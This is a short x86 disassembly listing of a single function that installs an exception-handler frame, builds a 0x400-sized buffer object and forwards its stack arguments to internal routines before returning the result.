mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46c978
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x4283b9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0046758f
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004675db
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00428440
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00467618
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24